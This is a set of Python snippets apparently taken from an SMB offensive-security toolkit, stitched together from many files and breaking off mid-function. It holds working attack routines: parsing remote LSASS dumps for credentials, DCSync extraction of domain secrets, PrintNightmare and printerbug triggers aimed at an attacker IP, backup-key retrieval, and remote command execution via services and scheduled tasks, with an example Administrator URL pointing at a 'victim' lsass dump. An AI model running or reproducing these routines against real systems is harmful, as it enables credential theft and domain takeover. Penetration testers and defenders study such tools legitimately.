async def lsassfile(url, packages=['all'], chunksize=64 * 1024): from aiosmb.commons.connection.url import SMBConnectionURL from pypykatz.alsadecryptor.asbmfile import SMBFileReader from pypykatz.apypykatz import apypykatz smburl = SMBConnectionURL(url) connection = smburl.get_connection() smbfile = smburl.get_file() async with connection: logging.debug('[LSASSFILE] Connecting to server...') _, err = await connection.login() if err is not None: raise err logging.debug('[LSASSFILE] Connected!') logging.debug('[LSASSFILE] Opening LSASS dump file...') _, err = await smbfile.open(connection) if err is not None: raise err logging.debug('[LSASSFILE] LSASS file opened!') logging.debug('[LSASSFILE] parsing LSASS file...') mimi = await apypykatz.parse_minidump_external(SMBFileReader(smbfile), chunksize=chunksize, packages=packages) logging.debug('[LSASSFILE] LSASS file parsed OK!') return mimi
async def amain(url): print(1) conn_url = SMBConnectionURL(url) print(2) connection = conn_url.get_connection() await connection.login() print(3) async with SMBMachine(connection) as computer: async with SMBDRSUAPI(connection, 'TEST') as drsuapi: try: _, err = await drsuapi.connect() _, err = await drsuapi.open() if err is not None: raise err async for username, user_sid, err in computer.list_domain_users( target_domain='TEST'): #print(username) x, err = await drsuapi.DRSCrackNames(name=username) if err is not None: raise err #print(x.dump()) #await asyncio.sleep(0.01) except Exception as e: logging.exception('error!') raise e
async def printnightmare(url, dll_path, driverpath=None): try: from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.commons.interfaces.machine import SMBMachine smburl = SMBConnectionURL(url) connection = smburl.get_connection() async with connection: logger.debug('[PRINTNIGHTMARE] Connecting to server...') _, err = await connection.login() if err is not None: raise err machine = SMBMachine(connection) logger.debug('[PRINTNIGHTMARE] Connected!') logger.debug('[PRINTNIGHTMARE] Triggering printnightmare...') _, err = await machine.printnightmare(dll_path, driverpath) if err is not None: raise err logger.debug('[PRINTNIGHTMARE] Printnightmare finished OK!') return True, None except Exception as e: import traceback traceback.print_exc() return None, e
async def amain(url, outfilename, progress = True): smburl = SMBConnectionURL(url) connection = smburl.get_connection() smbfile = smburl.get_file() async with connection: _, err = await connection.login() if err is not None: raise err _, err = await smbfile.open(connection) if err is not None: raise err if outfilename is None: outfilename = smbfile.name if progress is True: pbar = tqdm.tqdm(desc = 'Downloading %s' % outfilename, total=smbfile.size, unit='B', unit_scale=True, unit_divisor=1024) with open(outfilename, 'wb') as outfile: async for data, err in smbfile.read_chunked(): if err is not None: raise err if data is None: break outfile.write(data) if progress is True: pbar.update(len(data))
async def dcsync(url, username = None): from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.commons.interfaces.machine import SMBMachine smburl = SMBConnectionURL(url) connection = smburl.get_connection() users = [] if username is not None: users.append(username) async with connection: logging.debug('[DCSYNC] Connecting to server...') _, err = await connection.login() if err is not None: raise err logging.debug('[DCSYNC] Connected to server!') logging.debug('[DCSYNC] Running...') i = 0 async with SMBMachine(connection) as machine: async for secret, err in machine.dcsync(target_users=users): if err is not None: raise err i += 1 if i % 1000 == 0: logging.debug('[DCSYNC] Running... %s' % i) await asyncio.sleep(0) yield secret logging.debug('[DCSYNC] Finished!')
async def filereader_test(connection_string, filename, proxy=None): cu = SMBConnectionURL(connection_string) smb_connection = cu.get_connection() epm = EPM(smb_connection, protocol='ncacn_ip_tcp') await rr(epm.connect()) data, exc = await epm.map(drsuapi.MSRPC_UUID_DRSUAPI) #data, exc = await epm.lookup() if exc is not None: raise exc print(data)
async def test(url_str): url = SMBConnectionURL(url_str) connection = url.get_connection() _, err = await connection.login() if err is not None: print(err) raise err machine = SMBMachine(connection) async for share, err in machine.list_shares(): if err is not None: print(err) raise err print(share)
async def amain(url): import traceback import hashlib from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.commons.interfaces.machine import SMBMachine from aiosmb.wintypes.dtyp.constrcuted_security.guid import GUID url = SMBConnectionURL(url) connection = url.get_connection() _, err = await connection.login() if err is not None: print(err) raise err async with LSAD(connection) as b: _, err = await b.connect() if err is not None: print(err) print(traceback.format_tb(err.__traceback__)) return ph, err = await b.open_policy2() if err is not None: print(err) print(traceback.format_tb(err.__traceback__)) return print(ph) data, err = await b.retrieve_private_data(ph, 'G$BCKUPKEY_PREFERRED') if err is not None: print(err) print(traceback.format_tb(err.__traceback__)) return print(data) guid = GUID.from_bytes(data) g = 'G$BCKUPKEY_%s' % str(guid) print(g) data, err = await b.retrieve_private_data(ph, g) if err is not None: print(err) print(traceback.format_tb(err.__traceback__)) return print(data)
async def run(self, args): if args.smb_module == 'lsassfile': from aiosmb.commons.connection.url import SMBConnectionURL from pypykatz.alsadecryptor.asbmfile import SMBFileReader from pypykatz.apypykatz import apypykatz smburl = SMBConnectionURL(args.url) connection = smburl.get_connection() smbfile = smburl.get_file() async with connection: _, err = await connection.login() if err is not None: raise err _, err = await smbfile.open(connection) if err is not None: raise err mimi = await apypykatz.parse_minidump_external( SMBFileReader(smbfile)) self.process_results({'smbfile': mimi}, [], args) elif args.smb_module == 'console': from aiosmb.examples.smbclient import amain la = SMBCMDArgs() la.smb_url = args.url la.verbose = args.verbose if args.commands is not None and len(args.commands) > 0: la.commands = [] if args.commands[0] == 'help': la.commands = ['help'] else: if args.commands[0] != 'login': la.commands.append('login') for command in args.commands: la.commands.append(command) await amain(la)
async def amain(url): import traceback import hashlib from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.commons.interfaces.machine import SMBMachine url = SMBConnectionURL(url) connection = url.get_connection() _, err = await connection.login() if err is not None: print(err) raise err async with SMBBKRP(connection) as b: _, err = await b.connect() if err is not None: print(err) print(traceback.format_tb(err.__traceback__)) return res, err = await b.retrieve_backup_key() if err is not None: print(err) print(traceback.format_tb(err.__traceback__)) return print(res) print('!!!!!!!!!!!!!!!!!!!!!!!') res, err = await b.encrypt_data(b'HEELLO WORLD!') if err is not None: print(err) print(traceback.format_tb(err.__traceback__)) return print(res) res, err = await b.decrypt_data(res) if err is not None: print(err) print(traceback.format_tb(err.__traceback__)) return print(res)
async def amain(): from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.connection import SMBConnection import traceback url = 'smb2+ntlm-password://TEST\\Administrator:[email protected]' su = SMBConnectionURL(url) conn = su.get_connection() _, err = await conn.login() if err is not None: print(err) return else: print('SMB Connected!') rs = RRP(conn) _, err = await rs.connect() if err is not None: print(err) return print('RRP Connected!') users_handle, err = await rs.ConnectRegistry(HKEY.USERS) if err is not None: print('users error! %s' % err) return print('users_handle %s' % users_handle) for i in range(10): res, err = await rs.EnumKey(users_handle, i) if err is not None: if err.errno == 259: #no more data is available break print(err) print(traceback.format_tb(err.__traceback__)) print(res) """
async def amain(url, src="Security", query='*', max_entries=100): su = SMBConnectionURL(url) conn = su.get_connection() _, err = await conn.login() if err is not None: print('Failed to connect to server! %s' % err) return False, err else: logger.debug('SMB Connected!') ei = SMBEven6(conn) _, err = await ei.connect() if err is not None: print('Error during DCE connection! %s' % err) return False, err logger.debug('DCE Connected!') sec_handle, err = await ei.register_query(src, query=query) if err is not None: print(err) return False, err async for res, err in ei.query_next(sec_handle, max_entries, as_xml=True): if err is not None: print(err) break try: print(res) except Exception as e: print(e) pass await ei.close() await conn.disconnect() return True, None
async def amain(): from aiosmb.commons.connection.url import SMBConnectionURL from pypykatz.alsadecryptor.asbmfile import SMBFileReader import sys f=sys.argv[1] print(f) url = 'smb2+ntlm-password://TEST\\Administrator:[email protected]/C$/Users/victim/Desktop/lsass.DMP' smburl = SMBConnectionURL(url) connection = smburl.get_connection() smbfile = smburl.get_file() async with connection: _, err = await connection.login() if err is not None: raise err _, err = await smbfile.open(connection) if err is not None: raise err mimi = await apypykatz.parse_minidump_external(SMBFileReader(smbfile)) print(mimi)
class SMBClient(aiocmd.PromptToolkitCmd): def __init__(self, url = None, silent = False, no_dce = False): aiocmd.PromptToolkitCmd.__init__(self, ignore_sigint=False) #Setting this to false, since True doesnt work on windows... self.conn_url = None if url is not None: self.conn_url = SMBConnectionURL(url) self.connection = None self.machine = None self.is_anon = False self.silent = silent self.no_dce = no_dce # diables ANY use of the DCE protocol (eg. share listing) This is useful for new(er) windows servers where they forbid the users to use any form of DCE self.shares = {} #name -> share self.__current_share = None self.__current_directory = None async def do_coninfo(self): try: from aiosmb._version import __version__ as smbver from asysocks._version import __version__ as socksver from minikerberos._version import __version__ as kerbver from winsspi._version import __version__ as winsspiver from winacl._version import __version__ as winaclver print(self.conn_url) print('AIOSMB: %s' % smbver) print('ASYSOCKS: %s' % socksver) print('MINIKERBEROS: %s' % kerbver) print('WINSSPI: %s' % winsspiver) print('WINACL: %s' % winaclver) return True, None except Exception as e: traceback.print_exc() return None, e async def do_login(self, url = None): """Connects to the remote machine""" try: if self.conn_url is None and url is None: print('No url was set, cant do logon') if url is not None: self.conn_url = SMBConnectionURL(url) cred = self.conn_url.get_credential() if cred.secret is None and cred.username is None and cred.domain is None: self.is_anon = True self.connection = self.conn_url.get_connection() logger.debug(self.conn_url.get_credential()) logger.debug(self.conn_url.get_target()) _, err = await self.connection.login() if err is not None: raise err self.machine = SMBMachine(self.connection) if self.silent is False: print('Login success') return True, None except Exception as e: traceback.print_exc() print('Login failed! Reason: %s' % str(e)) return False, e async def do_logout(self): if self.machine is not None: await self.machine.close() self.machine = None if self.connection is not None: try: await self.connection.terminate() except Exception as e: logger.exception('connection.close') self.connection = None async def _on_close(self): await self.do_logout() async def do_nodce(self): """Disables automatic share listing on login""" self.no_dce = True async def do_shares(self, show = True): """Lists available shares""" try: if self.machine is None: print('Not logged in! Use "login" first!') return False, Exception('Not logged in!') async for share, err in self.machine.list_shares(): if err is not None: raise err self.shares[share.name] = share if show is True: print(share.name) return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except Exception as e: traceback.print_exc() return None, e async def do_sessions(self): """Lists sessions of connected users""" try: async for sess, err in self.machine.list_sessions(): if err is not None: raise err print("%s : %s" % (sess.username, sess.ip_addr)) except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() async def do_wsessions(self): """Lists sessions of connected users""" try: async for sess, err in self.machine.wkstlist_sessions(): if err is not None: raise err print("%s" % sess.username) except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() async def do_domains(self): """Lists domain""" try: async for domain, err in self.machine.list_domains(): if err is not None: raise err print(domain) except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() async def do_localgroups(self): """Lists local groups""" try: async for name, sid, err in self.machine.list_localgroups(): if err is not None: raise err print("%s : %s" % (name, sid)) except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() async def do_domaingroups(self, domain_name): """Lists groups in a domain""" try: async for name, sid, err in self.machine.list_groups(domain_name): if err is not None: raise err print("%s : %s" % (name, sid)) except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() async def do_groupmembers(self, domain_name, group_name): """Lists members of an arbitrary group""" try: async for domain, username, sid, err in self.machine.list_group_members(domain_name, group_name): if err is not None: raise err print("%s\\%s : %s" % (domain, username, sid)) except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() async def do_localgroupmembers(self, group_name): """Lists members of a local group""" try: async for domain, username, sid, err in self.machine.list_group_members('Builtin', group_name): if err is not None: raise err print("%s\\%s : %s" % (domain, username, sid)) except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() async def do_addsidtolocalgroup(self, group_name, sid): """Add member (by SID) to a local group""" try: result, err = await self.machine.add_sid_to_group('Builtin', group_name, sid) if err is not None: raise err if result: print('Modification OK!') else: print('Something went wrong, status != ok') except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() async def do_use(self, share_name): """selects share to be used""" try: if self.is_anon is False or self.no_dce: #anonymous connection might not have access to IPC$ so we are skipping the check if len(self.shares) == 0: _, err = await self.do_shares(show = False) if err is not None: raise err if share_name not in self.shares: if share_name.upper() not in self.shares: print('Error! Uknown share name %s' % share_name) return share_name = share_name.upper() self.__current_share = self.shares[share_name] else: self.__current_share = SMBShare.from_unc('\\\\%s\\%s' % (self.connection.target.get_hostname_or_ip(), share_name)) _, err = await self.__current_share.connect(self.connection) if err is not None: raise err self.__current_directory = self.__current_share.subdirs[''] #this is the entry directory self.prompt = '[%s]$ ' % self.__current_directory.unc_path _, err = await self.do_refreshcurdir() if err is not None: raise err return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except Exception as e: traceback.print_exc() return None, e async def do_dir(self): return await self.do_ls() async def do_ls(self): try: if self.__current_share is None: print('No share selected!') return if self.__current_directory is None: print('No directory selected!') return for entry in self.__current_directory.get_console_output(): print(entry) return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except Exception as e: traceback.print_exc() return None, e async def do_refreshcurdir(self): try: async for entry in self.machine.list_directory(self.__current_directory): #no need to put here anything, the dir bject will store the refreshed data a = 1 return True, None except Exception as e: traceback.print_exc() return None, e async def do_cd(self, directory_name): try: if self.__current_share is None: print('No share selected!') return False, None if self.__current_directory is None: print('No directory selected!') return False, None if directory_name not in self.__current_directory.subdirs: if directory_name == '..': self.__current_directory = self.__current_directory.parent_dir self.prompt = '[%s] $' % (self.__current_directory.unc_path) return True, None else: print('The directory "%s" is not in parent directory "%s"' % (directory_name, self.__current_directory.fullpath)) return False, None else: self.__current_directory = self.__current_directory.subdirs[directory_name] self.prompt = '[%s] $' % (self.__current_directory.unc_path) _, err = await self.do_refreshcurdir() if err is not None: raise err return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except Exception as e: traceback.print_exc() return None, e def get_current_dirs(self): if self.__current_directory is None: return [] return list(self.__current_directory.subdirs.keys()) def get_current_files(self): if self.__current_directory is None: return [] return list(self.__current_directory.files.keys()) async def do_getfilesd(self, file_name): try: if file_name not in self.__current_directory.files: print('file not in current directory!') return False, None file_obj = self.__current_directory.files[file_name] sd, err = await file_obj.get_security_descriptor(self.connection) if err is not None: raise err print(sd.to_sddl()) return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except Exception as e: traceback.print_exc() return None, e async def do_getdirsd(self): try: sd, err = await self.__current_directory.get_security_descriptor(self.connection) if err is not None: raise err print(str(sd.to_sddl())) return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except Exception as e: traceback.print_exc() return None, e def _cd_completions(self): return SMBPathCompleter(get_current_dirs = self.get_current_dirs) def _get_completions(self): return SMBPathCompleter(get_current_dirs = self.get_current_files) def _del_completions(self): return SMBPathCompleter(get_current_dirs = self.get_current_files) def _sid_completions(self): return SMBPathCompleter(get_current_dirs = self.get_current_files) def _dirsid_completions(self): return SMBPathCompleter(get_current_dirs = self.get_current_dirs) async def do_services(self): """Lists remote services""" try: async for service, err in self.machine.list_services(): if err is not None: raise err print(service) return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except Exception as e: traceback.print_exc() return None, e async def do_serviceen(self, service_name): """Enables a remote service""" try: res, err = await self.machine.enable_service(service_name) if err is not None: raise err print(res) return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except Exception as e: traceback.print_exc() return None, e async def do_servicecreate(self, service_name, command, display_name = None): """Creates a remote service""" try: _, err = await self.machine.create_service(service_name, command, display_name) if err is not None: raise err print('Service created!') return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except Exception as e: traceback.print_exc() return None, e async def do_servicecmdexec(self, command, timeout = 1): """Executes a shell command as a service and returns the result""" try: buffer = b'' if timeout is None or timeout == '': timeout = 1 timeout = int(timeout) async for data, err in self.machine.service_cmd_exec(command): if err is not None: raise err if data is None: break try: print(data.decode()) except: print(data) return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except Exception as e: traceback.print_exc() return None, e async def do_servicedeploy(self, path_to_exec, remote_path): """Deploys a binary file from the local system as a service on the remote system""" #servicedeploy /home/devel/Desktop/cmd.exe /shared/a.exe try: basename = ntpath.basename(remote_path) remote_path = '\\\\%s\\%s\\%s\\%s' % (self.connection.target.get_hostname_or_ip(), self.__current_share.name, self.__current_directory.fullpath , basename) _, err = await self.machine.deploy_service(path_to_exec, remote_path = remote_path) if err is not None: raise err print('Service deployed!') return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except Exception as e: traceback.print_exc() return None, e async def do_put(self, file_name): """Uploads a file to the remote share""" try: basename = ntpath.basename(file_name) dst = '\\%s\\%s\\%s' % (self.__current_share.name, self.__current_directory.fullpath , basename) _, err = await self.machine.put_file(file_name, dst) if err is not None: print('Failed to put file! Reason: %s' % err) return False, err print('File uploaded!') _, err = await self.do_refreshcurdir() if err is not None: raise err return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except Exception as e: traceback.print_exc() return None, e async def do_del(self, file_name): """Removes a file from the remote share""" try: basename = ntpath.basename(file_name) dst = '\\%s\\%s\\%s' % (self.__current_share.name, self.__current_directory.fullpath , basename) _, err = await self.machine.del_file(dst) if err is not None: raise err print('File deleted!') _, err = await self.do_refreshcurdir() if err is not None: raise err return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except Exception as e: traceback.print_exc() return None, e async def do_regsave(self, hive_name, file_path): """Saves a registry hive to a file on remote share""" try: _, err = await self.machine.save_registry_hive(hive_name, file_path) if err is not None: raise err print('Hive saved!') return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except Exception as e: traceback.print_exc() return None, e async def do_reglistusers(self): """Saves a registry hive to a file on remote share""" try: users, err = await self.machine.reg_list_users() if err is not None: raise err for user in users: print(user) return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except Exception as e: traceback.print_exc() return None, e async def do_get(self, file_name): """Download a file from the remote share to the current folder""" try: matched = [] if file_name not in self.__current_directory.files: for fn in fnmatch.filter(list(self.__current_directory.files.keys()), file_name): matched.append(fn) if len(matched) == 0: print('File with name %s is not present in the directory %s' % (file_name, self.__current_directory.name)) return False, None else: matched.append(file_name) for file_name in matched: file_obj = self.__current_directory.files[file_name] with tqdm.tqdm(desc = 'Downloading %s' % file_name, total=file_obj.size, unit='B', unit_scale=True, unit_divisor=1024) as pbar: with open(file_name, 'wb') as outfile: async for data, err in self.machine.get_file_data(file_obj): if err is not None: raise err if data is None: break outfile.write(data) pbar.update(len(data)) return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except Exception as e: traceback.print_exc() return None, e async def do_mkdir(self, directory_name): """Creates a directory on the remote share""" try: _, err = await self.machine.create_subdirectory(directory_name, self.__current_directory) if err is not None: raise err print('Directory created!') _, err = await self.do_refreshcurdir() if err is not None: raise err return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except Exception as e: traceback.print_exc() return None, e async def do_dcsync(self, username = None): """It's a suprse tool that will help us later""" try: users = [] if username is not None: users.append(username) async for secret, err in self.machine.dcsync(target_users=users): if err is not None: raise err if secret is None: continue print(str(secret)) return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except Exception as e: traceback.print_exc() return None, e async def do_users(self, domain = None): """List users in domain""" try: async for username, user_sid, err in self.machine.list_domain_users(domain): if err is not None: print(str(err)) print('%s %s' % (username, user_sid)) return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except Exception as e: traceback.print_exc() return None, e async def do_lsass(self): try: res, err = await self.machine.task_dump_lsass() if err is not None: print(str(err)) print(res) await res.close() return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e async def do_printerbug(self, attacker_ip): """Printerbug""" try: res, err = await self.machine.printerbug(attacker_ip) if err is not None: print(str(err)) print(res) return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except Exception as e: traceback.print_exc() return None, e async def do_tasks(self): """List scheduled tasks """ try: async for taskname, err in self.machine.tasks_list(): if err is not None: raise err print(taskname) return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except Exception as e: traceback.print_exc() return None, e async def do_taskregister(self, template_file, task_name = None): """Registers a new scheduled task""" try: with open(template_file, 'r') as f: template = f.read() res, err = await self.machine.tasks_register(template, task_name = task_name) if err is not None: logger.info('[!] Failed to register new task!') raise err return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except Exception as e: traceback.print_exc() return None, e async def do_taskdel(self, task_name): """Deletes a scheduled task """ try: _, err = await self.machine.tasks_delete(task_name) if err is not None: raise err return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except Exception as e: traceback.print_exc() return None, e async def do_taskcmdexec(self, command, timeout = 1): """ Executes a shell command using the scheduled tasks service""" try: buffer = b'' if timeout is None or timeout == '': timeout = 1 timeout = int(timeout) async for data, err in self.machine.tasks_cmd_exec(command, timeout): if err is not None: raise err if data is None: break try: print(data.decode()) except: print(data) return True, None #await self.machine.tasks_execute_commands([command]) except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() async def do_interfaces(self): """ Lists all network interfaces of the remote machine """ try: interfaces, err = await self.machine.list_interfaces() if err is not None: raise err for iface in interfaces: print('%d: %s' % (iface['index'], iface['address'])) return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except Exception as e: traceback.print_exc() return None, e async def do_enumall(self, depth = 3): """ Enumerates all shares for all files and folders recursively """ try: depth = int(depth) async for path, otype, err in self.machine.enum_all_recursively(depth = depth): if otype is not None: print('[%s] %s' % (otype[0].upper(), path)) if err is not None: print('[E] %s %s' % (err, path)) return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except Exception as e: traceback.print_exc() return None, e async def do_printerenumdrivers(self): """ Enumerates all shares for all files and folders recursively """ try: drivers, err = await self.machine.enum_printer_drivers() if err is not None: raise err for driver in drivers: print(driver) return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except Exception as e: traceback.print_exc() return None, e async def do_printnightmare(self, share, driverpath = ''): """ printnightmare bug using the RPRN protocol """ try: if len(driverpath) == 0: driverpath = None _, err = await self.machine.printnightmare(share, driverpath) if err is not None: raise err return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except Exception as e: traceback.print_exc() return None, e async def do_parprintnightmare(self, share, driverpath = ''): """ printnightmare bug using the PAR protocol """ try: if len(driverpath) == 0: driverpath = None _, err = await self.machine.par_printnightmare(share, driverpath) if err is not None: raise err return True, None except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) return None, e except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) return None, e except Exception as e: traceback.print_exc() return None, e
class SMBClient(aiocmd.PromptToolkitCmd): def __init__(self, url = None): aiocmd.PromptToolkitCmd.__init__(self, ignore_sigint=False) #Setting this to false, since True doesnt work on windows... self.conn_url = None if url is not None: self.conn_url = SMBConnectionURL(url) self.connection = None self.machine = None self.shares = {} #name -> share self.__current_share = None self.__current_directory = None async def do_login(self, url = None): """Connects to the remote machine""" try: if self.conn_url is None and url is None: print('No url was set, cant do logon') if url is not None: self.conn_url = SMBConnectionURL(url) self.connection = self.conn_url.get_connection() logger.debug(self.conn_url.get_credential()) logger.debug(self.conn_url.get_target()) await self.connection.login() self.machine = SMBMachine(self.connection) except Exception as e: traceback.print_exc() else: print('Login success') async def do_shares(self, show = True): """Lists available shares""" try: async for share, err in ef_gen(self.machine.list_shares()): if err is not None: raise err self.shares[share.name] = share if show is True: print(share.name) except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() async def do_sessions(self): """Lists sessions of connected users""" try: async for sess, err in ef_gen(self.machine.list_sessions()): if err is not None: raise err print("%s : %s" % (sess.username, sess.ip_addr)) except SMBException as e: logger.debug(traceback.format_exc()) print(e.pprint()) except SMBMachineException as e: logger.debug(traceback.format_exc()) print(str(e)) except DCERPCException as e: logger.debug(traceback.format_exc()) print(str(e)) except Exception as e: traceback.print_exc() async def do_domains(self): """Lists domain""" try: async for 